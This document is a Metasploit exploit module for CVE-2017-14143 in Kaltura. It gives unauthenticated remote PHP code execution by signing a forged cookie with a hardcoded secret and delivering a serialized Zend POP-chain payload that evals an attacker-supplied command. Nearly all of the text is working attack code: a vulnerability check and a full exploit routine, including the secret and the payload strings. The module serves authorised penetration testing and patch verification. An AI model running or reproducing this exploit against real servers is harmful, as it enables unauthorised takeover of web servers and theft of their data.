Kaltura Remote PHP Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
CookieSecret = 'y3tAno3therS$cr3T'  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kaltura Remote PHP Code Execution over Cookie',  
'Description' => %q{  
This module exploits an Object Injection vulnerability in Kaltura.  
By exploiting this vulnerability, unauthenticated users can execute  
arbitrary code under the context of the web server user.  
  
Kaltura makes use of a hardcoded cookie secret which allows to sign  
arbitrary cookie data. After passing this signature check, the base64-  
decoded data is passed to PHPs unserialize() function which allows for  
code execution. The constructed object is again based on the SektionEins  
Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are  
affected by this issue.  
  
A valid entry_id (which is required for this exploit) can be obtained  
from any media resource published on the kaltura installation.  
  
This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Robin Verton <[email protected]>',  
'Mehmet Ince <[email protected]>' # first kaltura rce module  
],  
'References' =>  
[  
['CVE', '2017-14143']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['Automatic', {}] ],  
'DisclosureDate' => 'Sep 12 2017',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),  
OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])  
]  
)  
end  
  
def check  
r = rand_text_alpha(15 + rand(4))  
entry_id = datastore['ENTRYID']  
cmd = "print_r(#{r}).die()"  
  
p = ""  
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"  
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"  
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"  
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"  
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"  
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"  
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"  
  
encoded = Rex::Text.encode_base64(p)  
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),  
'vars_get' => {  
'list_type' => '15',  
'entry_id' => entry_id  
},  
'cookie' => "userzone=#{encoded}#{hash}"  
)  
  
if res && res.redirect?  
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")  
Exploit::CheckCode::Safe  
elsif res && res.body.include?(r)  
Exploit::CheckCode::Vulnerable  
elsif !check_entryid  
print_error("Invalid ENTRYID")  
Exploit::CheckCode::Safe  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def check_entryid  
entry_id = datastore['ENTRYID']  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),  
'vars_get' => {  
'list_type' => '15',  
'entry_id' => entry_id  
}  
)  
  
return res.body.include? entry_id  
end  
  
def exploit  
entry_id = datastore['ENTRYID']  
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"  
  
p = ""  
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"  
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"  
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"  
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"  
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"  
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"  
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"  
  
encoded = Rex::Text.encode_base64(p)  
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),  
'vars_get' => {  
'list_type' => '15',  
'entry_id' => entry_id  
},  
'cookie' => "userzone=#{encoded}#{hash}"  
)  
  
if res && res.redirect?  
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")  
elsif res && res.code != 200  
print_error('Unexpected response...')  
else  
print_status("Output: #{res.body}")  
end  
end  
end  
`